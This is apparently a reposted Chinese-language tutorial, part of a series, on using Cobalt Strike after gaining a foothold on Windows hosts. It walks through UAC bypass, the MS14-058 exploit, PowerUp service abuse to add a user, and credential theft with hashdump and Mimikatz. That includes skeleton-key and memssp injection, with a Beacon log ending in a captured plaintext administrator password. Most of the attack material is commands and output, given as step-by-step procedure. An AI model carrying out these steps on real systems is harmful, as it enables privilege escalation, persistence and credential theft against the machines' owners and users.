前四篇文章介紹了CS的基本使用方法和模塊,以及釣魚攻擊的方法,本篇將會介紹使用CS進行提權操作
文章目錄
- 權限提升
- Bypass UAC
- CVE提權
- PowerUp
- 憑證和哈希獲取
- Beacon 中的 Mimikatz
權限提升
在主機上線后,當某些操作需要管理員權限,而當前用戶權限只有一般用戶權限時,就需要提權操作了
自 Windows vista 開始,Windows 系統引進了用戶賬戶控制機制,即 UACUser Account Control機制,UAC 機制在 Win 7中得到了完善,UAC 與 UNIX 中的 sudo 作業機制十分相似,平時用戶以普通權限作業,當用戶需要執行特權操作時,系統會詢問他們是否要提升權限,UAC可以組織未授權的應用程式自動安裝,并防止無意中更改系統設定的行為
此時系統用戶可分為以下三種等級:
- 高:管理員權限
- 中:一般用戶權限
- 低:受限制的權限
使用
whoami /groups命令可以看到當前用戶所在的組以及權限net localgroup administrators可以查看當前在管理員組里的用戶名
提權操作
在 CS 中有以下幾種提權操作:
bypassuac:將本地中級管理員權限提升至本地高級管理員權限,適用于Win 7 及以上的系統elevate:將任意用戶的權限提升至系統權限,適用于2018年11月更新之前的 Win 7 和 Win 10 系統getsystem:將本地高級管理員權限提升至系統權限runas:使用其他用戶的憑證來以其他用戶身份運行一個命令,該命令不會回傳任何輸出spawnas:使用其他用戶的憑證來以其他用戶身份派生一個會話,這個命令派生一個臨時的行程并將 payload stage 注入進那個行程
Bypass UAC
Bypass UAC 有兩個步驟,分別是:
- 利用 UAC 漏洞來獲取一個特權檔案副本
- 使用 DLL 劫持進行代碼執行

首先在Beacon中使用shell whoami /groups查看當前上線主機用戶的所屬組及 UAC 等級
shell whoami /groups
# shell 加上要拼接的命令

通過回傳資訊可以看出可以發現administrator用戶為管理員權限,UAC 等級為中,此時可以使用bypassuac進行提權
右擊會話選擇 執行->提權Access --> Elevate,這里選擇一個 SMB Beacon(沒有的話就創建一個),Exploit 選擇uac-token-duplication,最后 Launch 即可

待 Beacon Check in 后,當前用戶 UAC 為高權限的會話便會上線了
CVE提權
以ms14-058提權為例
漏洞詳情:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-058
靶機環境
虛擬機:winserver2003
http://www.demoasp.com,IP:192.168.179.151
首先CS需要安裝相應的提權腳本

在腳本控制臺中,使用load 路徑命令添加腳本
現在已經通過webshell拿到了www-data權限,通過上傳執行CS的木馬檔案成功上線CS

CS中進入Beacon使用命令查看用戶權限
shell whoami/groups
shell whoami


使用MS14-058提權

監聽器選擇SMB Beacon

PowerUp
PowerUp 所做的事是尋找可能存在弱點的地方,從而幫助提權

利用 PowerUp 進行提權需要首先匯入 ps1 檔案
# Beacon下執行命令
powershell-import PowerUp.ps1
匯入CS同目錄下的PowerUp.ps1檔案,也可以直接輸入命令
powershell-import
彈出檔案選擇框
# 其中`PowerUp.ps1`檔案可從這里下載:https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
如果在自己的靶機上發現匯入ps1檔案失敗,這可能是因為系統不允許執行不信任的腳本檔案導致的,
這時為了復現成功可以來到靶機下,以管理員權限打開 Powershell,運行
set-ExecutionPolicy RemoteSigned,輸入Y回車,此時系統便能匯入PowerUp.ps1檔案了在運行
Invoke-AllChecks后,便會列出當前系統中可被提權的弱點之處,之后再執行檢查結果中AbuseFunction下的命令便能開始提權操作了但是我在自己本地環境中并未復現成功,執行
AbuseFunction后的命令只能創建一個與當前登錄用戶相同權限的賬戶,沒能達到提權的目的
再執行以下命令,使用 PowerUp 腳本可以快速的幫助我們發現系統弱點,從而實作提權的目的
powershell Invoke-AllChecks
沒有復現成功:

我這邊也遇到一些問題沒有復現成功
正確應該是這種

然后使用命令查看權限
shell isacls "應用"
icacls 查看權限 F表示完全控制

增加用戶系統用戶
powershell Install-ServiceBinary -ServiceName Protect_2345Explorer -UserName ocean12345 -Password 123456
服務名字為想要關閉的服務
憑證和哈希獲取
想要獲取憑證資訊,可以在管理員權限的會話處右擊選擇Access --> Dump Hashes,或者在控制臺中使用hashdump命令,
想獲取當前用戶的密碼,可以運行mimikatz,右擊管理員權限會話選擇Access --> Run Mimikatz,或在控制臺運行logonpasswords命令,
在View --> Credentials下可以查看到hashdump與mimikatz獲取的資料,
Beacon 中的 Mimikatz
在 Beacon 中集成了 mimikatz ,mimikatz 執行命令有三種形式:
-
mimikatz [module::command] <args>運行 mimikatz 命令
-
mimikatz [!module::command] <args>強制提升到 SYSTEM 權限再運行命令,因為一些命令只有在 SYSTEM 身份下才能被運行,
-
mimikatz [@module::command] <args>使用當前 Beacon 的訪問令牌運行 mimikatz 命令
下面是一些mimikatz命令,
-
!lsadump::cache獲取快取憑證,默認情況下 Windows 會快取最近10個密碼哈希
-
!lsadump::sam獲取本地賬戶密碼哈希,該命令與 hashdump 比較類似
-
misc::cmd如果注冊表中禁用了 CMD ,就重新啟用它
-
!misc::memssp注入惡意的 Windows SSP 來記錄本地身份驗證憑據,這個憑證存盤在“C:\windows\system32\mimilsa.log”中
-
misc::skeleton該命令僅限域內使用,該命令會給所有域內用戶添加一個相同的密碼,域內所有的用戶都可以使用這個密碼進行認證,同時原始密碼也可以使用,其原理是對 lsass.exe 進行注入,重啟后會失效,
-
process::suspend [pid]掛起某個行程,但是不結束它
-
process::resume [pid]恢復掛起的行程
以上的這些只是mimikatz能做事情的一小部分,下面看看!misc::memssp的使用,
mimikatz !misc::memssp
cd C:\Windows\system32
shell dir mimilsa.log
shell type mimilsa.log
詳細運行程序:
首先運行mimikatz !misc::memssp
beacon> mimikatz !misc::memssp
[*] Tasked beacon to run mimikatz's !misc::memssp command
[+] host called home, sent: 1006151 bytes
[+] received output:
Injected =)
接下來來到C:\Windows\system32目錄
beacon> cd C:\Windows\system32
[*] cd C:\Windows\system32
[+] host called home, sent: 27 bytes
beacon> shell dir mimilsa.log
[*] Tasked beacon to run: dir mimilsa.log
[+] host called home, sent: 46 bytes
[+] received output:
驅動器 C 中的卷沒有標簽,
卷的序列號是 BE29-9C84
C:\Windows\system32 的目錄
2020/07/23 21:47 24 mimilsa.log
1 個檔案 24 位元組
0 個目錄 17,394,728,960 可用位元組
可以看到是存在mimilsa.log檔案的,此時待目標主機重新登錄,比如電腦鎖屏后用戶進行登錄,
查看mimilsa.log檔案內容,
beacon> shell type mimilsa.log
[*] Tasked beacon to run: type mimilsa.log
[+] host called home, sent: 47 bytes
[+] received output:
[00000000:000003e5] \
[00000000:002b99a7] WIN-75F8PRJM4TP\Administrator Password123!
成功獲取到當前登錄用戶的明文密碼
文章參考:狼組知識庫
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/374595.html
標籤:其他
上一篇:OSSIM專案研究記錄(十二)
